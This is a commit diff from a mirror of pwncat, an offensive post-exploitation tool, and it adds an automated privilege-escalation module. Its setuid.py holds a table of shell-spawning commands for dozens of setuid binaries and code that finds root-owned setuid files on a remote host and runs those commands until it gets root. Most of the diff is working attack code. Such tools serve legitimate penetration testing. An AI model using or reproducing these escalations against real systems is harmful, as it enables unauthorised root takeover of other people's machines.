1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-27 19:04:15 +01:00

Fixed merge issues

This commit is contained in:
Caleb Stewart 2020-05-08 02:29:23 -04:00
commit 887fef91a3
6 changed files with 269 additions and 24 deletions

View File

@ -1,17 +1,16 @@
#!/usr/bin/env python3
from typing import Type, List
from pwncat.downloader.base import Downloader, DownloadError
from pwncat.downloader.nc import NetcatDownloader
from pwncat.downloader.curl import CurlDownloader
from pwncat.downloader.shell import ShellDownloader
from pwncat.downloader.wget import WgetDownloader
from pwncat.downloader.bashtcp import BashTCPDownloader
all_downloaders = [
NetcatDownloader,
CurlDownloader,
WgetDownloader,
ShellDownloader,
BashTCPDownloader,
]

View File

@ -0,0 +1,36 @@
#!/usr/bin/env python3
from typing import Type, List
from pwncat.privesc.base import Privesc, PrivescError
from pwncat.privesc.setuid import SetuidPrivesc
all_privescs = [SetuidPrivesc]
privescs = [SetuidPrivesc]
def get_names() -> List[str]:
""" get the names of all privescs """
return [d.NAME for d in all_privescs]
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Privesc]:
""" Locate an applicable privesc """
if hint is not None:
# Try to return the requested privesc
for d in all_privescs:
if d.NAME != hint:
continue
d.check(pty)
return d
raise PrivescError(f"{hint}: no such privesc")
for d in privescs:
try:
d.check(pty)
return d
except PrivescError:
continue
else:
raise PrivescError("no acceptable privescs found")

33
pwncat/privesc/base.py Normal file
View File

@ -0,0 +1,33 @@
#!/usr/bin/env python3
from typing import Generator, Callable
import threading
import socket
import os
from pwncat import util
class PrivescError(Exception):
""" An error occurred while attempting a privesc technique """
class Privesc:
# Binaries which are needed on the remote host for this privesc
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this privesc """
for binary in cls.BINARIES:
if pty.which(binary) is None:
raise DownloadError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler"):
self.pty = pty
def execute(self) -> Generator[str, None, None]:
""" Generate the commands needed to send this file back. This is a
generator, which yields strings which will be executed on the remote
host. """
return

131
pwncat/privesc/setuid.py Normal file
View File

@ -0,0 +1,131 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
import sys
from time import sleep
import os
from colorama import Fore, Style
from pwncat.util import info, success, error, progress, warn
from pwncat.privesc.base import Privesc, PrivescError
# https://gtfobins.github.io/#+suid
known_setuid_privescs = {
"env": ["{} /bin/bash -p"],
"bash": ["{} -p"],
"chmod": ["{} +s /bin/bash", "/bin/bash -p"],
"chroot": ["{} / /bin/bash -p"],
"dash": ["{} -p"],
"ash": ["{}"],
"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"],
"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""],
"find": ["{} . -exec /bin/sh -p \\; -quit"],
"flock": ["{} -u / /bin/sh -p"],
"gdb": [
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit"""
],
"logsave": ["{} /dev/null /bin/bash -i -p"],
"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",],
"nice": ["{} /bin/bash -p"],
"node": [
"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'"""
],
"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""],
"perl": ["""{} -e 'exec "/bin/sh";'"""],
"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""],
"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""],
"rlwrap": ["{} -H /dev/null /bin/sh -p"],
"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""],
"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""],
"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""],
"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""],
"rvim": [
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'"""
],
"setarch": ["""{} $(arch) /bin/sh -p"""],
"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""],
"strace": ["""{} -o /dev/null /bin/sh -p"""],
"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""],
"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",],
"taskset": ["""{} 1 /bin/sh -p"""],
"time": ["""{} /bin/sh -p"""],
"timeout": ["""{} 7d /bin/sh -p"""],
"unshare": ["""{} -r /bin/sh"""],
"vim": ["""{} -c ':!/bin/sh' -c ':q'"""],
"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""],
"zsh": ["""{}"""],
# need to add in cp trick to overwrite /etc/passwd
# need to add in curl trick to overwrite /etc/passwd
# need to add in wget trick to overwrite /etc/passwd
# need to add in dd trick to overwrite /etc/passwd
# need to add in openssl trick to overwrite /etc/passwd
# need to add in sed trick to overwrite /etc/passwd
# need to add in shuf trick to overwrite /etc/passwd
# need to add in systemctl trick to overwrite /etc/passwd
# need to add in tee trick to overwrite /etc/passwd
# need to add in wget trick to overwrite /etc/passwd
# need to add in nano trick but requires Control+R Control+X keys
# need to add in pico trick but requires Control+R Control+X keys
# b"/bin/nano": ["/bin/nano", "\x12\x18reset; sh -p 1>&0 2>&0"],
}
class SetuidPrivesc(Privesc):
NAME = "setuid"
BINARIES = ["find"]
def execute(self):
""" Look for setuid binaries and attempt to run"""
find = self.pty.which("find")
setuid_output = []
delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null")
while True:
line = self.pty.recvuntil(b"\n").strip()
progress("searching for setuid binaries")
if delim in line:
break
setuid_output.append(line)
for suid in setuid_output:
suid = suid.decode("utf-8")
for privesc, commands in known_setuid_privescs.items():
if os.path.basename(suid) != privesc:
continue
info(
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}",
)
before_shell_level = self.pty.run("echo $SHLVL").strip()
before_shell_level = (
int(before_shell_level) if before_shell_level != b"" else 0
)
for each_command in commands:
self.pty.run(each_command.format(suid), wait=False)
sleep(0.1)
user = self.pty.run("whoami").strip()
if user == b"root":
success("privesc succeeded")
return True
else:
error("privesc failed")
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run("exit", wait=False) # here be dragons
continue
error("no known setuid privescs found")
return False

View File

@ -25,7 +25,7 @@ import sys
import os
from pwncat import util
from pwncat import downloader, uploader
from pwncat import downloader, uploader, privesc
from colorama import Fore
@ -447,6 +447,37 @@ class PtyHandler:
""" Exit command mode """
self.enter_raw(save=False)
def do_privesc(self, argv):
""" Attempt privilege escalation """
parser = argparse.ArgumentParser(prog="privesc")
parser.add_argument(
"--method",
"-m",
choices=privesc.get_names(),
default=None,
help="set the privesc method (default: auto)",
)
try:
args = parser.parse_args(argv)
except SystemExit:
# The arguments were parsed incorrectly, return.
return
try:
# Locate an appropriate privesc class
PrivescClass = privesc.find(self, args.method)
except privesc.PrivescError as exc:
util.error(f"{exc}")
return
privesc_object = PrivescClass(self)
succeeded = privesc_object.execute()
if succeeded:
self.do_back([])
@with_parser
def do_download(self, args):
""" Download a file from the remote host """
@ -594,7 +625,29 @@ class PtyHandler:
help_msg = getattr(self, c).__doc__
print(f"{c[3:]:15s}{help_msg}")
def run(self, cmd, has_pty=True, wait=True) -> bytes:
def run(self, cmd, wait=True) -> bytes:
""" Run a command in the context of the remote host and return the
output. This is run synchrounously.
:param cmd: The command to run. Either a string or an argv list.
:param has_pty: Whether a pty was spawned
"""
response = self.process(cmd, delim=wait)
if wait:
response = self.recvuntil(b"_PWNCAT_ENDDELIM_")
response = response.split(b"_PWNCAT_ENDDELIM_")[0]
if self.has_cr:
self.recvuntil(b"\r\n")
else:
self.recvuntil(b"\n")
return response
def process(self, cmd, delim=True) -> bytes:
""" Run a command in the context of the remote host and return the
output. This is run synchrounously.
@ -605,10 +658,8 @@ class PtyHandler:
if isinstance(cmd, list):
cmd = shlex.join(cmd)
EOL = b"\r" if has_pty else b"\n"
if wait:
command = f" echo _PWNCAT_DELIM_; {cmd}; echo _PWNCAT_DELIM_"
if delim:
command = f" echo _PWNCAT_STARTDELIM_; {cmd}; echo _PWNCAT_ENDDELIM_"
else:
command = cmd
@ -617,31 +668,26 @@ class PtyHandler:
# Send the command to the remote host
self.client.send(command.encode("utf-8") + b"\n")
if wait:
if delim:
if self.has_echo:
self.recvuntil(b"_PWNCAT_DELIM_") # first in command
self.recvuntil(b"_PWNCAT_DELIM_") # second in command
self.recvuntil(b"_PWNCAT_ENDDELIM_") # first in command
# Recieve line ending from output
self.recvuntil(b"\n")
self.recvuntil(b"_PWNCAT_DELIM_") # first in output
self.recvuntil(b"_PWNCAT_STARTDELIM_") # first in output
self.recvuntil(b"\n")
response = self.recvuntil(b"_PWNCAT_DELIM_")
response = response.split(b"_PWNCAT_DELIM_")[0]
if self.has_cr:
self.recvuntil(b"\r\n")
else:
self.recvuntil(b"\n")
return response
return b"_PWNCAT_ENDDELIM_"
def recvuntil(self, needle: bytes, flags=0):
""" Recieve data from the client until the specified string appears """
result = b""
while not result.endswith(needle):
result += self.client.recv(1, flags)
try:
result += self.client.recv(1, flags)
except socket.timeout:
continue # force waiting
return result

View File

@ -141,7 +141,7 @@ def get_ip_addr() -> str:
LAST_LOG_MESSAGE = ("", False)
PROG_ANIMATION = ["/-\\"]
PROG_ANIMATION = "/-\\"
LAST_PROG_ANIM = -1
@ -194,5 +194,5 @@ def success(message, overlay=False):
log("success", message, overlay)
# def progress(message, overlay=False):
# log("prog", message, overlay)
def progress(message, overlay=True):
log("prog", message, overlay)